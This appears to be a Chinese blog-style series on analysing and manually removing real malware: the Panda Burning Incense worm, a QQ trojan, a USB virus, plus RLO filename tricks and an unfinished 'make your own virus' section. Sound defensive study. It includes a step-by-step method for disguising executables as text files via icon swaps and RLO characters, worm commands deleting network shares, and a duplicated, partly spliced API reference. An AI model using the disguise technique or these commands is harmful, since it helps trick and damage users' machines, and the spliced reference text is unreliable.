《病毒木馬防御與分析》系列以真實的病毒木馬(或惡意程序)為研究對象,通過現有的技術手段對其分析,總結出它的惡意行為,進而制定出相應的應對方法,對其徹底查殺。當然,因為我個人水平的有限,查殺分析的病毒可能不是過於高端復雜,但對你認識病毒工作原理還是會很有幫助的,甚至最后你也可以利用c語言實現一個簡單的病毒程序。
實戰
熊貓燒香分析 | txt病毒分析 | QQ盜號木馬分析 | U盤病毒分析 | 自制病毒 |
---|
病毒包和工具包下載: Github
熊貓燒香病毒分析
如果像自己實踐記得在虛擬機下!
病毒包可以在Github倉庫找到
摘要
一.手動查殺
0. 病毒分析
病毒名稱: 武漢男生
,又名熊貓燒香病毒
。"Worm.WhBoy.h"
1).中毒症狀
-
拷貝自身到所有驅動器根目錄,命名為Setup.exe,並生成一個autorun.inf使得用戶打開該盤運行病毒,並將這兩個文件屬性設置為隱藏、只讀、系統。
-
無法手工修改“文件夾選項”將隱藏文件顯示出來。
-
在每個感染后的文件夾中可見Desktop_ini的隱藏文件,內容為感染日期 如:2007-4-1
-
電腦上的所有腳本文件中加入一段代碼:
<iframe src=xxx width=”0” height=”0”></iframe>
-
中毒后的機器上常見的反病毒軟件及防火牆無法正常開啟及運行。
-
不能正常使用任務管理器及注冊表。
-
無故的向外發包,連接局域網中其他機器。
-
感染其他應用程序的.exe文件,並改變圖標顏色,但不會感染微軟操作系統自身的文件。
-
刪除GHOST文件(.gho后綴),網吧、學校和單位機房深受其害。
-
禁用常見殺毒工具。
2).病毒特征
-
關閉眾多殺毒軟件和安全工具。
-
循環遍歷磁盤目錄,感染文件,對關鍵系統文件跳過。
-
感染所有EXE、SCR、PIF、COM文件,並更改圖標為燒香熊貓。
-
感染所有.htm/.html/.asp/.php/.jsp/.aspx文件,添加木馬惡意代碼。
-
自動刪除*.gho文件。
3).發作症狀
- 拷貝文件
病毒運行后,會把自己拷貝到C:\WINDOWS\System32\Drivers\spoclsv.exe
- 添加注冊表自啟動
病毒會添加自啟動項HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\svcshare -> C:\WINDOWS\System32\Drivers\spoclsv.exe
- 病毒行為
- 每隔1秒尋找桌面窗口,並關閉窗口標題中含有以下字符的程序
QQKav,QQAV,防火牆,進程,VirusScan,網鏢,殺毒,毒霸,瑞星,江民,黃山IE,超級兔子,優化大師,木馬克星,木馬清道夫,QQ病毒,注冊表編輯器,系統配置實用程序,卡巴斯基反病毒,Symantec AntiVirus,Duba,esteem proces,綠鷹PC,密碼防盜,噬菌體,木馬輔助查找器,System Safety Monitor,Wrapped gift Killer,Winsock Expert,游戲木馬檢測大師,msctls_statusbar32,pjf(ustc),IceSword
並使用的鍵盤映射的方法關閉安全軟件IceSword
並中止系統中以下的進程:
Mcshield.exe VsTskMgr.exe naPrdMgr.exe UpdaterUI.exe TBMon.exe scan32.exe
Ravmond.exe CCenter.exe RavTask.exe Rav.exe Ravmon.exe RavmonD.exe
RavStub.exe KVXP.kxp kvMonXP.kxp KVCenter.kxp KVSrvXP.exe KRegEx.exe UIHost.exe TrojDie.kxp
FrogAgent.exe Logo1_.exe Logo_1.exe Rundl132.exe
- 每隔18秒
點擊病毒作者指定的網頁,並用命令行檢查系統中是否存在共享,存在的話就運行net share命令關閉admin$共享。
- 每隔10秒
下載病毒作者指定的文件,並用命令行檢查系統中是否存在共享共存在的話就運行net share命令關閉admin$共享。
- 每隔6秒
刪除安全軟件在注冊表中的鍵值。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
RavTask KvMonXP kav KAVPersonal50 McAfeeUpdaterUI Network Associates Error Reporting Service ShStartEXE YLive.exe yassistse
並修改以下值不顯示隱藏文件
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue
修改為 0x00
刪除以下服務
navapsvc wscsvc KPfwSvc SNDSrvc
ccProxy ccEvtMgr ccSetMgr SPBBCSvc
Symantec Core LC NPFMntor MskService FireSvc
- 感染文件
病毒會感染擴展名為exe,pif,com,src的文件,把自己附加到文件的頭部並在擴展名為htm,html, asp,php,jsp,aspx的文件中添加一網址,用戶一旦打開了該文件,IE就會不斷的在后台點擊寫入的網址,達到增加點擊量的目的,但病毒不會感染以下文件夾名中的文件,防止系統崩潰。
WINDOW
Winnt
System Volume Information
Recycled
Windows NT
WindowsUpdate
Windows Media Player
Outlook Express
Internet Explorer
NetMeeting
Common Files
ComPlus Applications
Messenger
InstallShield Installation Information
MSN
Microsoft Frontpage
Movie Maker
MSN Gamin Zone
1. 查內存,排查可疑進程,將病毒從內存中干掉
在虛擬機中運行熊貓燒香病毒,記得要在xp虛擬機啊,物理機現在Windows補丁已經免疫熊貓燒香了。
在虛擬機中我們打開任務管理器,發現剛一打開就會被關閉,這是熊貓燒香的特征之一。
右鍵一個分區,你會發現第一項不是打開,而是Auto
,這是因為熊貓燒香病毒會在分區產生一個autorun.inf
文件使得用戶打開該盤運行病毒,autorun.inf
文件是系統,隱藏文件。
甚至一些病毒會把Auto起名為打開,右鍵分區你會發現兩個
打卡
選項。
我們第一步就要先關閉病毒進程,排查內存時我們需要使用tasklist
命令查看可疑進程,spoclsv.exe
就是熊貓燒香的進程名了(這個可能需要大量的積累,最好是對Windows系統進程有大量了解)。
找到后通過taskkill /f /im PID
命令將其終止
有些病毒無論任務管理器還是taskkill命令都無法將其終止,這類病毒大多是有三個進程相互保護,有一個被終止后其他進程會立即再次啟動這個進程。
2. 查啟動項,刪除病毒啟動項
將病毒從內存中清除之后,接下來我們要刪除其服務和啟動項。
在禁用刪除掉啟動項之前,我們需要先記住這個病毒的路徑,以便第三步去刪除它的主體。
3. 通過啟動項判斷病毒所在位置,並從根本上刪除病毒
下圖就是熊貓燒香病毒本體的位置了,其實但看啟動項中exe路徑就能發現spoclsv服務的可疑了,它位於system32\drivers下,也不是一些常見的系統服務。
到這個路徑下刪除這個exe程序。
4. 修復系統
刪除完exe之后我們重啟系統,會發現現在系統中沒有spoclsv.exe這個進程了。
這時病毒還有可能會復發,因為系統還未完成修復,之前說的分區雙擊默認選項可能會導致病毒程序再次運行。
我們需要將Auto選項刪除,並且清理系統。
autorun.inf
就是關聯我們右鍵菜單的文件了。
我們通過attrib -s -h -a -r autorun.inf
來分別將autorun.inf
和setup.exe
隱藏屬性刪除並且刪除這兩個文件。
刪除之后我們雙擊分區打開會發現無法生效。
注銷系統后,右鍵菜單恢復。
二.行為分析
使用Process Monitor進程樹分析病毒運行后的操作。
在病毒程序啟動之前,任務管理器還可以打開。
設置Process Monitor進程過濾,進程名選擇熊貓燒香.exe
。
過濾結果中可以看到運行的setup.exe
程序,后面跟隨有進程操作,其中操作多為進程創建
和大量的注冊表操作
。
打開進程樹查看setup.exe
進程信息。
在進程樹中可以發現,setup.exe
衍生出了spoclsv.exe
。衍生出的進程又打開了兩次cmd.exe
。第一次運行的命令是cmd.exe /c net share C$ /del /y
,它的意思是在命令行模式下刪除C盤的網絡共享,執行完后關閉cmd.exe。因此這個病毒應該是會關閉系統中所有的盤的網絡共享。第二次運行的命令是cmd.exe /c net share admin$ /del /y
,這里取消的是系統根目錄的共享。那么由此就可以總結出病毒的兩點行為:
-
行為1:病毒本身創建了名為
spoclsv.exe
的進程,該進程文件的路徑為C:\WINDOWS\system32\drivers\spoclsv.exe
。 -
行為2:在命令行模式下使用
net share
命令來取消系統中的共享。
之后對setup.exe
文件操作監控分析,分析操作為CreateFile
的Path
,
可見,熊貓燒香.exe
在C:\WINDOWS\system32\drivers
中創建了spoclsv.exe
,其它再無可疑操作,那么可以認為,這個病毒真正的破壞部分是由spoclsv.exe
實現的,那么接下來的工作就是專門監控這個進程。
這里需要將進程名為spoclsv.exe
的進程加入篩選器進行分析。spoclsv.exe
作為病毒主體所產生的操作會比較多。
可見病毒進程會嘗試刪除大量安全類軟件的注冊表啟動項。
- 行為3:刪除安全類軟件在注冊表中的啟動項。
然后只保留RegCreateKey
與RegSetValue
進行分析:
可見,病毒程序為自身創建了自啟動項,詳細信息為Type: REG_SZ, 長度: 80, 數據: C:\WINDOWS\system32\drivers\spoclsv.exe
,使得每次啟動計算機就會執行自身,可以查看該路徑啟動項來驗證,因為病毒進程會自動關閉任務管理器和注冊表,所以我們需要借助第三方工具autorun
來查看。
- 行為4:在注冊表
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
中創建svcshare
,用於在開機時啟動位於C:\WINDOWS\system32\drivers\spoclsv.exe
的病毒程序。
接下來還有:
對注冊表KLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue
這個位置設置為0
,能夠實現文件的隱藏。此處進行設置后,即便在文件夾選項
中選擇顯示所有文件和文件夾
,也無法顯示隱藏文件,則有:
- 行為5:修改注冊表,使得隱藏文件無法通過普通的設置進行顯示,該位置為:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL
,病毒將CheckedValue
的鍵值設置為了0
。
接下來對spoclsv.exe
文件監控分析,主要看的是病毒是否將自己復制到其他目錄,或者創建刪除了哪些文件等,監控如下所示:
在圖中可以看到,病毒文件在C:\WINDOWS\system32\drivers
中創建了spoclsv.exe
這個文件,在C盤和E盤根目錄下創建了setup.exe
與autorun.inf
,並且在一些目錄中創建了Desktop_.ini
這個文件。由於創建這些文件之后就對注冊表的SHOWALL項進行了設置,使得隱藏文件無法顯示,那么有理由相信,所創建出來的這些文件的屬性都是“隱藏”的,於是有:
-
行為6:將自身拷貝到根目錄,並命名為
setup.exe
,同時創建autorun.inf
用於病毒的啟動,這兩個文件的屬性都是隱藏
。 -
行為7:在一些目錄中創建名為
Desktop_.ini
的隱藏文件。
最后對spoclsv.exe
進行網絡監控分析,來查看病毒是否有聯網動作。
從監控結果可以看到,病毒不斷嘗試連接192.168.1.X
即局域網中的其它計算機。
- 行為8:向外發包,連接局域網中其他機器。
TXT病毒分析
如果像自己實踐記得在虛擬機下!
病毒包可以在Github倉庫找到
摘要
前言
現在很多病毒使用了各式各樣的隱藏技術。病毒編寫者往往會用復雜高深的技術來武裝自己的惡意程序,使其難以被發現難以被清除。隱藏類的病毒雖然很難發現,但危害清除往往比較簡單,如前段時間出現的比特幣敲竹杠
病毒,就是一個基於Ring3層的病毒,其特色就在於采用了一定的算法來加密目標計算機中的相應文件,而如果沒有密碼,那么是不可能實現解密操作的。
txt病毒引入
舉一個簡單病毒的例子,U盤病毒中文件夾后面會出現exe
后綴,很明顯就可以發現出了問題
這也就說明,盡管它的圖標是文件夾的圖標,但是它本質上其實就是一個可執行程序,利用圖標的更換來將自己偽裝成一個文件夾,這種手段還是比較古老的,也是很容易被發現的。但是如果是這樣呢?
先准備好需要偽裝的病毒和要偽裝成的文件圖標(找不到別的圖標就只能隨便找一個用了),還有Resource Hacker工具。
用Resource Hacker打開病毒setup.exe,可以查看到病毒圖標。
RLO
與字符陷阱
接下來修改圖標為我們自己的ico文件。
保存之后病毒的圖標就改變了。
下一步需要改變他的后綴名,修改為txt
或者png
。
這一步的原理是Windows提供了一個轉移字符RLO
,只要在一行字符前面加上它,就可以實現文本的反向排列。它是Unicode為了兼容某些文字的閱讀習慣而設計的一個轉義字符。當我們加入這個字符后,從而也就實現修改后綴的效果。
那么利用這個原理,我們就能夠實現非常多有創意的,並且頗具迷惑性的文件名稱,再將文件的圖標修改為對應的假的后綴名的圖標,那么我相信,即便是資深反病毒愛好者,也很可能會落入陷阱的。
如何來實現呢?先將病毒程序名改為下圖所示,之后在read
和txt
之間添加轉義字符RLO
。
插入轉義字符之后可以發現這就是一個txt程序了,只不過沒有選好圖標,只要偽裝成一個txt的圖標和后綴,很多人都不會防范這個病毒了。
RLO
不止可以用來修改程序后綴名,它還可以用在注冊表
中,你會發現注冊表中有多個相同項,然而注冊表其實是不允許出現相同項的。
通過字符混淆的方法來影響人的直接視覺感觀,可以讓人在使用計算機過程中出現很大的問題。
對於之前的exe和txt的混淆方法,其實最好的方法就是在文件夾中顯示文件類型
。
QQ盜號木馬查殺
如果像自己實踐記得在虛擬機下!
病毒包可以在Github倉庫找到
摘要
前言
在總綱中我們基本介紹了手殺病毒的基本步驟,其中在進程中殺死病毒時我說過有些病毒只有一個進程,可以直接結束其進程,但有些病毒是多進程相互守護,關閉一個之后其他守護進程會將其重新啟動。這就是病毒的一種自我保護技術,使得我們不能夠使用常規手法對其實現查殺。我們需要借助兩個工具——icesword
與autoruns
,以達到查殺的目的.
一.手殺分析
這是准備好的病毒樣本,autoruns是一個注冊表查看工具,icesword是一個非常強大的進程管理工具,不過icesword的平台兼容性很差,win10下我沒有查到可用的,只有在xp虛擬機中使用過。
在運行病毒之前,先查看任務管理器中當前的進程。
在運行QQ盜號木馬程序之后,可以發現進程數從25
變為了28
。
多出來的3個進程為severe.exe
、conime.exe
與tfidma.exe
。
conime.exe
進程是一個重要的系統進程,它不會隨系統的啟動而自動啟動,只會在啟動命令行(cmd)才會啟動,但如果刪除或者終止將導致特殊文字的輸入困難,另外微軟新版系統中此進程不會運行,而這里病毒則是偽造了這個進程。
嘗試利用任務管理器將這三個進程其中之一結束時,會發現被終止的進程重新被啟動了。
現在我們需要使用icesword.exe
工具來講三個互相守護的病毒進程終止。在雙擊啟動icesword.exe
時會發現這個工具並無法啟動,可以理解為是病毒將這個工具屏蔽了,我們只需要給他改一個名字,icesword.exe
的中文名冰刃.exe
,之后雙擊啟動。
在里面可用看到這三個進程。
點擊文件
,選擇創建進程規則
,添加規則
,之后將三個進程添加進去。
再次終止進程之后發現病毒進程無法再次恢復。
接下來我們需要刪除病毒的啟動項,這里我們打開autoruns
這個工具。
打開autoruns
之后,初始界面Everything
選項卡下面,很容易就發現了兩個可疑啟動項,因為它們作為可執行程序,使用了記事本
圖標,而且名稱和路徑與之前病毒進程相似。那么就有必要在這里刪除這三個啟動項了。選中欲刪除的啟動項,然后按下Delete
鍵即可。接下來看一下非常重要的Image Hijacks
標簽。
可見映像劫持
中大量軟件進程都被映射為了病毒進程,比如我們熟悉的360safe
,注冊表
,服務配置
,QQ醫生
還有icesword.exe
。在這里將這些注冊表數據刪除。
還有一些其他安全項,可用自行查看,病毒主體程序我們可用從注冊表啟動項中看到,去相應位置刪除即可。
U盤病毒分析
目錄
一.前言
前段時間去學校打印店印資料,如同往常一樣,插上我的U盤。奇怪的是這次的連接時間較以往長,並且還出現了自動播放
窗口。 以前使用U盤,都沒有出現過自動播放
的情況。不過沒有我在意,關閉了那個窗口,從我的電腦
打開了U盤分區。但是在U盤中卻發現了奇怪的文件:
這幾個文件很奇怪,因為它們都是使用了文件夾的圖標,貌似是一個文件夾,但是在文件名稱的后面卻跟着一個.exe
的小尾巴。而且,我的U盤中本來確實有這四個文件夾,但是我不記得給他們加上了.exe
這樣的后綴名。而不帶后綴名的真實的文件夾卻找不到了(圖片中顯示是因為已經被我處理了)。這就讓我很是懷疑,於是分別查看這幾個文件的屬性。
可見這些文件並不是文件夾,而是應用程序,並且它們的大小一致。看到這里,就可以基本確定了,我的U盤是中了病毒了。
二.手殺病毒
初步分析,這個病毒會將自身偽裝成我的U盤中本來存在的文件夾,從而誘惑我去點擊。那么原始的文件夾是被刪除了還是被隱藏了呢?
選擇顯示隱藏文件之后,那些文件依然沒有顯示出來,這里可用一個cmd下的命令來顯示,因為文件的隱藏其實是基於文件的四個屬性值。
隱藏文件(添加四個屬性):
attrib +s +h +a +r 文件名
顯示文件(刪除四個屬性):
attrib -s -h -a -r 文件名
通過attrib
命令操作隱藏的文件無法通過常規的顯示文件
來顯示,這也是病毒隱藏文件的一個常用途徑。
顯示出我們原本的文件之后就可將exe
程序刪除了。
U盤病毒其實危害性並沒有多強,但其傳播速度與對普通人的影響卻是很大。
要編寫代碼進行快速刪除也簡單,只需要循環遍歷U盤目錄,將其中子文件進行顯示即可。代碼如下:
for /f "delims=?" %%a in ('dir /a /b') do attrib -a -s -h -r "%%a"
只需要將這一行批處理代碼保存為cmd
后綴名文件,放置U盤跟目錄,雙擊運行即可。
病毒自制實戰
自制病毒——控制桌面背景鼠標以及開關機
理論知識
修改桌面背景方法
在Windows下,修改桌面背景可以使用特定的API : SystemParametersInfo
該函數也可以在設置參數中更新用戶配置文件,這個函數還有很多其它功能,比如獲取桌面工作區的大小。
BOOL SystemParametersInfo(UINT uiAction,UINT uiParam,PVOID pvParam,UINT fWinlni);
uiAction:該參數指定要查詢或設置的系統級參數。其取值如下;
SPI_GETACCESSTIMEOUT:檢索與可訪問特性相關聯的超時段的信息,PvParam參數必須指向某個ACCESSTIMEOUT結構以獲得信息,並將該結構中的cbSjze成員和ulParam參數的值設為sizeof(ACCESSTIMEOUT)。
SPI_GETACTIVEWINDOWTRACKING:用於Windows 98和Windows NT 5.0及以后的版本。它表示是否打開活動窗口跟蹤(激活該窗口時鼠標置為開狀態),pvParam參數必須指向一個BOOL型變量(打開時接收值為TRUE,關閉時為FALSE)。
SPI_GETACTIVEWNDTRKZORDER;用於Windows 98和Windows NT 5.0及以后版本。它表示通過活動窗口跟蹤開關激活的窗口是否要置於最頂層。pvParam參數必須指向一個BOOL型變量,如果要置於頂層,那么該變量的值為TRUE,否則為FALSE。
SPI_GETACTIVEWNDTRKTIMEOUT:用於Windows 98和 Windows NT 5.0及以后版本。它指示活動窗口跟蹤延遲量,單位為毫秒。pvParam參數必須指向DWORD類型變量,以接收時間量。
SPI_GETANIMATION:檢索與用戶活動有關的動畫效果。pvParam參數必須指向ANIMATIOINFO結構以接收信息。並將該結構的cbSize成員和ulParam參數置為sizeof(ANIMATIONINFO)。
SPI_GETBEEP:表示警告蜂鳴器是否是打開的。pvParam參數必須指向一個BOOL類型變量,如果蜂鳴器處於打開狀態,那么該變量的值為TRUE,否則為FALSE。
SpI_GETBORDER:檢索決定窗口邊界放大寬度的邊界放大因子。pvParam參數必須指向一個整型變量以接收該值。
SPI_GETDEFAULTINPUTLANG:返回用於系統缺省輸入語言的鍵盤布局句柄。pvParam參數必須指向一個32位變量,以接收該值。
SPI_GETCOMBOBOXANIMATION:用於Windows 98和Windows NT 5.0及以后版本。它表示用於組合櫃的動打開效果是否允許。pvParam參數必須指向一個BOOL變量,如果允許,那么變量返回值為TRUE,否則為FALSE。
SPI_GETDRAGFULLWINDOWS:確定是否允許拖拉到最大窗口。pvParam參數必須指向BOOL變量,如果允許,返回值為TRUE,否則為FALSE。對於Windows 95系統,該標志只有在安裝了Windows plus!才支持。
SPI_GETFASTTASKSWITCH:該標志已不用!以前版本的系統使用該標志來確定是否允許Alt+Tab快速任務切換。對於Windows 95、Windows 98和Windows NT 4.0版而言,快速任務切換通常是允許的。
SPI_GETLDWPOWERACTIVE:確定是否允許屏幕保護的低電壓狀態。如果允許,那么指向BOOL變量的pvParam參數會接收到TRUE值,否則為FALSE。對於Windows 98,該標志對16位和32位應用程序都支持。 對於Windows 95,該標志只支持16位應用程序。對於Windows NT,在Windows NT 5.0及以后版本中支持32位應用程序,對16位應用程序則不支持。
SPI_GETLOWPOWERTIMEOUT:檢索用於屏幕保護的低電壓狀態超時值。pvParam參數必須指向一個整型變量,以接收該值。對於Windows 98該標志支持16位和32位應用程序。對於Windows95,該標志只支持16位應用程序。對於Windows NT,該標志支持Windows NT 5.0及以后版本上的32位應用程序。不支持16位應用程序。
SPI_GETMENUDROPALIGNMENT。確定彈出式菜單相對於相應的菜單條項是左對齊,還是右對齊、參數pvParam必須指向一個BOOL類型變量,如果是左對齊。那么該變量值為TRUE,否則為FALSE。SPI_GETMINIMIZEDMETRICS:檢索最小化窗口有關的度量數據信息。參數pvParam必須指向MINIMIZEDMETRCS結構,以接收信息。該結構中的cbSize和ulParam參數的值應設為sizeof(MINIMIZEDMETRICS)。
SPI_GETMOUSE:檢索鼠標的2個閾值和加速特性。pvParam參數必須指向一個長度為3的整型數組,分別存儲此值。
SPI_GETMOUSEHOVERHEGHT:用於Windows NT 4.0及以后版本或Windows 98。獲得在TrackMouseEvent事件中,為產生WM_MOUSEOVER消息而鼠標指針必須停留的矩形框的高度,以像素為單位。參數pvParam必須指向一個UINT變量以接收這個高度值。
SPI_GETMOUSEHOVERTIME:用於Windows NT 4.0及以后版本、Windows 98,獲得在TrackMouseEvent事件中,為產生WM_MOUSEOVER消息而鼠標指針必須停留在矩形框內的時間,單位為毫秒。參數pvParam必須指向一個UINT變量以接收該時間值。
SPI_GETMOUSEHOVERWIDTH:用於Windows NT 4.0及以后版本、Windows 98。獲得在TrackMouseEvent事件中,為產生WM_MOUSEOVER消息而鼠標指針必須停留的矩形框的寬度,以像素為單位。參數pvParam必須指向一個UINT變量以接收這個寬度值。
SPI_GETMOUSEKEYS:檢索與MOUSEKEYS易用特征有關的信息,pvParam參數必須指向某個MOUSEKEYS結構,以獲取信息。應將結構的cbSize成員和ulParam參數設置為sizeof(MOUSEKEYS)。
SPI_GETMOUSESPEED:用於Windows NT 5.0及以后版本、Windows 98。檢索當前鼠標速度。鼠標速度決定了鼠標移動多少距離,鼠標的指針將移動多遠。參數pvParam指向一個整型變量,該變量接收1(最慢)至20(最快)之間的數值。缺省值為們10。這個值可以由最終用戶使用鼠標控制面板應用程序或使用調用了SPI_SETMOUSESPEED的應用程序來設置。
SPI_GETMOUSETRAILS:用於WpvParam必須指向一個BOOL類型變量,如果是左對齊。那么該變量值為TRUE,否則為FALSE。
SPI_GETMINIMIZEDMETRICS:檢索最小化窗口有關的度量數據信息。參數pvParam必須指向MINIMIZEDMETRCS結構,以接收信息。該結構中的cbSize和ulParam參數的值應設為sizeof(MINIMIZEDMETRICS)。
SPI_GETMOUSE:檢索鼠標的2個閾值和加速特性。pvParam參數必須指向一個長度為3的整型數組,分別存儲此值。
SPI_GETMOUSEHOVERHEGHT:用於Windows NT 4.0及以后版本或Windows 98。獲得在TrackMouseEvent事件中,為產生WM_MOUSEOVER消息而鼠標指針必須停留的矩形框的高度,以像素為單位。參數pvParam必須指向一個UINT變量以接收這個高度值。
SPI_GETMOUSEHOVERTIME:用於Windows NT 4.0及以后版本、Windows 98,獲得在TrackMouseEvent事件中,為產生WM_MOUSEOVER消息而鼠標指針必須停留在矩形框內的時間,單位為毫秒。參數pvParam必須指向一個UINT變量以接收該時間值。
SPI_GETMOUSEHOVERWIDTH:用於Windows NT 4.0及以后版本、Windows 98。獲得在TrackMouseEvent事件中,為產生WM_MOUSEOVER消息而鼠標指針必須停留的矩形框的寬度,以像素為單位。參數pvParam必須指向一個UINT變量以接收這個寬度值。
SPI_GETMOUSEKEYS:檢索與MOUSEKEYS易用特征有關的信息,pvParam參數必須指向某個MOUSEKEYS結構,以獲取信息。應將結構的cbSize成員和ulParam參數設置為sizeof(MOUSEKEYS)。SPI_GETMOUSESPEED:用於Windows NT 5.0及以后版本、Windows 98。檢索當前鼠標速度。鼠標速度決定了鼠標移動多少距離,鼠標的指針將移動多遠。參數pvParam指向一個整型變量,該變量接收1(最慢)至20(最快)之間的數值。缺省值為們10。這個值可以由最終用戶使用鼠標控制面板應用程序或使用調用了SPI_SETMOUSESPEED的應用程序來設置。
SPI_GETMOUSETRAILS:用於Windows 95及更高版本。它用來表示是否允許MouseTrails(鼠標軌跡)。該特征通過簡單地顯示鼠標軌跡並迅速擦除它們來改善鼠標的可見性。參數prParam必須指向一個整型變量來接收該值。如果這個值為0或1,那么表示禁止該特征。如果該值大於1,則說明該特征被允許,並且該值表示在鼠標軌跡上畫出的光標數目。參數ulParam不用。
SPI_GETNONCLIENTMETRICS:檢索與非最小化窗口的非客戶區有關的度量信息。參數pvParam必須指向NONCLIENTMETRICS結構,以便接收相應值。該結構的。cbSize成員與ulParam參數值應設為sizeof(NONCLIENTMETRICS)。對於Windows 98,該標志支持16位和32位應用程序。對於Windows 95,該標志只支持16位應用程序。對於Windows NT該標志在NT 5.0及以后版本中支持32位應用程序,不支持16位應用程序。
SPI_GETPOWEROFFACTIVE:確定是否允許屏幕保護中關電。TRUE表示允許,FA參數pvParam必須指定SERIALKEYS結構來接收信息。該結構中的cbSize成員和ulParam參數的值要設為sizeof(SERIALKEYS)。
SPI_GETSHOWSOUNDS:確定ShowSounds易用特性標志是開或是關。如果是開,那么用戶需要一個應用程序來可視化地表達信息,占則只能以聽得見的方式來表達。參數pvParam必須指向一個BOOL類型變量。該變量在該特征處於開狀態時返回TRUE,否則為FALSE。使用這個值等同於調用GetSystemMetrics(SM_SHOWSOUNDS)。后者是推薦使用的調用方式。
SPI_GETSNAPTODEFBUTTON:用於Windows NT 4.0及以后版本、Windows 98:確定 Snap-TO-Default-Button(轉至缺省按鈕)特征是否允許。如果允許,那么鼠標自動移至缺省按鈕上,例如對話框的"Ok"或"Apply"按鈕。pvParam參數必須指向Bool類型變量,如果該特征被允許,則該變量接收到TRUE,否則為FALSE。
SPI_GETSOUNDSENTRY:檢索與SOUNDSENTRY可訪問特征有關的信息。參數pvParam必須指向SOUNDSENTRY結構以接收信息。該結構中的。cbSize或員和ulParam參數的值要設為sizeof(SOUNDSENTRY)。
SPI_GETSTICKYKEYS:檢索與StickyKeys易用特征有關的信息。參數 pvParam必須指向STICKYKEYS結構以獲取信息。該結構中的cbSze成員及ulParam參數的值須設為sizeof(STICKYKEYS)。
SPI_GETSWITCHTASKDISABLE:用於Windows NT 5.0、Windows 95及以后版本,確定是否允許Alt+Tab和AIt+Esc任務切換。參數pvParam必須指向UINT類型變量,如果禁止任務切換,那么返回值為1,否則為0。在缺省情況下,是允許進行任務切換的。
SPI_GETTOGGLEKEYS:檢索與ToggleKeys易用特性有關的信息。參數pvParam必須指向TOGGLEKEYS結構以獲取信息。該結構中的cbSize成員和ulParam參數值要設置sizeof(TOGGLEKEYS)。
SPI_GETWHEELSCROLLLINES:用於Windows NT 4.0及以后版本、Windows 98。當前軌跡球轉動時,獲取滾動的行數。參數pvParam必須指向UINT類型變量以接收行數。缺省值是3。
SPI_GETWINDOWSEXTENSION:在Windows 95中指示系統中是否裝了Windows Extension和Windows Plus!。 參數ulParam應設為1。而參數pvParam則不用。如果安裝了Windows Extenson,那么該函數返回TRUE,否則為FALSE。
SPI_GETWORKAREA:檢索主顯示器的工作區大小。工作區是指屏幕上不被系統任務條或應用程序桌面工具遮蓋的部分。參數pvParam必須指向RECT結構以接收工作區的坐標信息,坐標是用虛擬屏幕坐標來表示的。為了獲取非主顯示器的工作區信息,請調用GetMonitorlnfo函數。參數ulParam指定寬度,單位是像素。
SPI_ICONVERTICALSPACING:設置圖標單元的高度。參數ulParam指定高度,單位是像素。
SPI_LANGDRIVER:未實現。
SPI_SCREENSAVERRUNNING:改名為SPI_SETSCREENSAVERRUNNING。
Spl_SETACCESSTIMEOUT:設置與可訪問特性有關的時間限度值,參數 pvParam必須指向包含新參數的ACCESSTIMEOUT結構,該結構的cbSize成員與ulParam參數的值要設為sizeof(ACCESSTMEOUT)。
SPI_SETACTIVEWINDOWTRACKING:用於Windows NT 5.0及以后版本、Windows 98。設置活動窗口追蹤的開或關,如果把參數pvParam設為TRUE,則表示開。pvParam參數為FALSE時表示關。
SPI_SETACTIVEWNDTRKZORDER:用於Windows NT 5.0及以后版本、Windows 98。表示是否把通過活動窗口跟蹤而激活的窗口推至頂層。參數pvParam設為TRUE表示推至頂層,FALSE則表示不推至頂層。
SPI_SETACTIVEWNDTRKTIMEOUT:用於Wlindows NT 5.0及以后版本、Windows 98。設置活動窗口跟蹤延遲。 參數pvParam設置在用鼠標指針激活窗口前需延遲的時間量,單位為毫秒。
SPI_SETBEEP:將警蜂器打開或關閉。參數ulParam指定為TRUE時表示打開,為FALSE時表示關閉。
SPI_SETBORDER:設置確定窗口縮放邊界的邊界放大因子。參數ulParam用來指定該值。
SPI_SETCOMBOBOXANIMATION:用於Windows NT 5.0及以后版本和Windows 98。允許或禁止組合滑動打開效果。如果設置pvParam參數為TRUE,則表示允許有傾斜效果,如果設為FALSE則表示禁止。
SPI_SETCURSORS:重置系統光標。將ulParam參數設為0並且pvParam參數設為NULL。
SPI_SETDEFAULTINPUTLANG:為系統Shell(命令行解器)和應用程序設置缺省的輸入語言。指定的語言必須是可使用當前系統字符集來顯示的。pvParam參數必須指向DWORD變量,該變量包含用於缺省語言的鍵盤布局句柄。
SpI_SETDESKpATTERN:通過使Windows系統從WIN.INI文件中pattern=設置項來設置當前桌面模式。
SPI_SETDESKWALLPAPER:設置桌面壁紙。pvParam參數必須指向一個包含位圖文件名,並且以NULL(空)結束的字符串。
SPI_SETDOUBLECLICKTIME:設ulParam參數的值為目標雙擊時間。雙擊時間是指雙擊中的第1次和第2次點擊之間的最大時間,單位為毫秒。也可以使用SetDoubleClickTime函數來設置雙擊時間。為獲取當前雙擊時間,請調用GetDoubleClickTime函數。
SPI_SETDOUBLECLKHEGHT:將ulParam參數的值設為雙擊矩形區域的高度。雙擊矩形區域是指雙擊中的第2次點擊時鼠標指針必須落在的區域,這樣才能記錄為雙擊。
SPI_SETDOUBLECLKWIDTH:將ulParam參數的值設為雙擊矩形區域的寬度。
SPI_SETDRAGFULLWINDOWS:設置是否允許拖至最大窗口。參數uIParam指定為TRUE時表示為允許,為FALSE則不可。對於Windows 95,該標志只有在安裝了Windows plus!才支持。
SPI_SETDRAGHEIGHT:設置用於檢測拖拉操作起點的矩形區域的高度,單位為像素。參考GETSYSTEMMETRICS函數的nlndex參數中的SM_CXDRAG和SM_CYDRAG。
SPI_SETDRAGWIDTH:設置用於檢測拖拉操作起點的矩形區域的寬度,單位為像素。
SPI_SETFASTTASKSWITCH:該標志己不再使用。以前版本的系統使用此標志來允許或不許進行Alt+Tab快速任務切換。對於Windows 95、Windows 98和Windows NT 4.0,通常都允許進行快速任務切換。參考SPI_SETSWITCHTASKDISABLE。
